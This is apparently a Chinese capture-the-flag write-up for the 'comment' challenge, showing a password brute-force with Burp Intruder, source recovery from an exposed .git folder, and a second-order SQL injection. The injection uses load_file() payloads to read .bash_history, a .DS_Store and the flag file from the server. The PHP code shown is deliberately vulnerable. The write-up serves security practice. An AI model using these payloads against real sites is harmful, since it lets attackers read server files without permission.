xctf-comment(Intruder,git恢复,SQL注入,Hex解码)
这题是2018年网鼎杯真题,考察 Burp Suite 的 Intruder 模块去找用户密码,使用 githacker 恢复代码(githack不行),代码审计发现SQL二次注入,尝试SQL注入读取文件内容,读取的是/home/www/.bash_history
历史操作,发现 /var/www/html/.DS_Store
文件转存到/tmp
后被删除了,使用SQL读取.DS_Store
发现存在 flag_8946e1ff1ee3e40f.php
文件,使用SQL注入读取它,对内容进行 Hex 解码得到 flag 信息。
ailx10
1942 次咨询
4.9
网络安全优秀回答者
网络安全硕士
去咨询
难度系数:5(官方难度:7)
点击发帖,会302重定向到登录页面,并且提示了用户名和密码的一部分
随便写一个秘密,然后抓包,查看表单结构,以及失败的响应内容
使用Burp Suite的 Intruder 模块,发现只有666的时候,没有出现 username or password error
使用zhangwei666登录后,就可以发帖了
使用 dirsearch 扫描一下目录,发现有 .git
泄漏
使用 GitHack 下载,只有一个 write_do.php
文件,并且短的离谱
python3 GitHack.py http://61.147.171.105:59603/.git/
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
在浏览器中,查看控制台 Console ,得到线索:程序员GIT写一半跑路了,都没来得及Commit :)
尝试恢复,结果和 writeup 中的结果不一样(抱歉,是我使用的姿势不对)
git log --reflog
我使用 GitHack 并没有下载到 .git
文件夹,提示我这不是一个 git 仓库,然后我换成另一个软件 githacker,成功下载到 .git
文件夹
githacker --url http://61.147.171.105:58852/.git/ --output-folder result
再次 git log --reflog
发现和 writeup 一样了
恢复到时间最后的一个(refs/stash),终于看到完整的代码了
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
// 检查用户是否已经登录。如果$_SESSION['login']不是'yes',则重定向到登录页面。
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
// 构造SQL语句插入新的帖子到board表中
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
// 查询board表以确认该帖子存在
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
// 如果找到对应的帖子,则继续处理评论
if($num>0){
// 获取帖子的分类
$category = mysql_fetch_array($result)['category'];
// 转义评论内容以防止SQL注入
$content = addslashes($_POST['content']);
// 插入新评论到comment表中
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
// 执行插入操作
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
观察发帖的请求和结果
POST /write_do.php?do=write HTTP/1.1
Host: 61.147.171.105:58852
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:58852
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:58852/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=087u0hvrd6a2mm6rdd2onb4e84
Connection: close
title=1&category=2&content=3
观察留言的请求和结果
POST /write_do.php?do=comment HTTP/1.1
Host: 61.147.171.105:58852
Content-Length: 17
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:58852
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:58852/comment.php?id=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=087u0hvrd6a2mm6rdd2onb4e84
Connection: close
content=4&bo_id=1
那么,在do=write
中构造请求
title=11&category=12',content=database(),/*&content=13
就会得到这样的SQL语句
insert into board
set category = '12',content=database(),/*',
title = '11',
content = '13';
再到do=comment
中构造请求
content=*/#&bo_id=2
就会得到这样的SQL语句
insert into comment
set category = '12',content=database(),/*',
content = '*/#',
bo_id = '2';
这样就完成了SQL注入,按照下面这样提交请求
ailx11',content=(select(load_file("/home/www/.bash_history"))),/*
再去留言页面提交 */#
就能读取到 /home/www/.bash_history
文件
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
发帖
ailx31',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
提交留言
*/#
对 Hex 进行解码
def remove_non_ascii(s):
# 使用列表推导式和ord()函数来保留只有ASCII范围内的字符
return ''.join([char for char in s if ord(char) < 128 and ord(char) > 32])
def hex2str(hex_string):
byte_data = bytes.fromhex(hex_string)
# 尝试解码为utf-8字符串,忽略无法解码的字节
string_data = byte_data.decode('utf-8', errors='ignore')
# 移除非ASCII的可见字符
cleaned_string = remove_non_ascii(string_data)
print(cleaned_string)
if __name__ == "__main__":
hex_string = "0000..."
hex2str(hex_string)
去除了不可见的字符,得到下面的内容:
Bud1strapIlbootstrapIlocblobF(comment.phpIlocblob(cssIlocblobR(
flag_8946e1ff1ee3e40f.php
Ilocblob(fontsIlocblobFindex.phpIlocblobjsIlocblobRlogin.phpIlocblobmysql.phpIlocblobFvendorIlocblobwrite_do.phpIlocblobR@@@@EDSDB`@@@
同理,读取 flag_8946e1ff1ee3e40f.php
123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
得到Hex编码的内容如下:
使用上面的脚本,直接解码,得到下面的内容:
<?php$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";?>
发布于 2025-01-04 19:02・IP 属地江苏